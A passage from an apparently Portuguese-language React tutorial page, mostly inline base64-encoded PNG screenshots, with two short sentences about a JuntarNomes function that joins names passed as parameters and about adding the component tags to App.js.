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" /></p><p>Neste caso a função JuntarNomes verifica que recebeu parâmetros e em caso afirmativo junta os nomes passados.</p><p>Não esquecer de alterar o ficheiro App.js para incluir uma tag para cada um destes componentes.</p><p style="text-align: center;"><img alt="" src="data:image/png;base64,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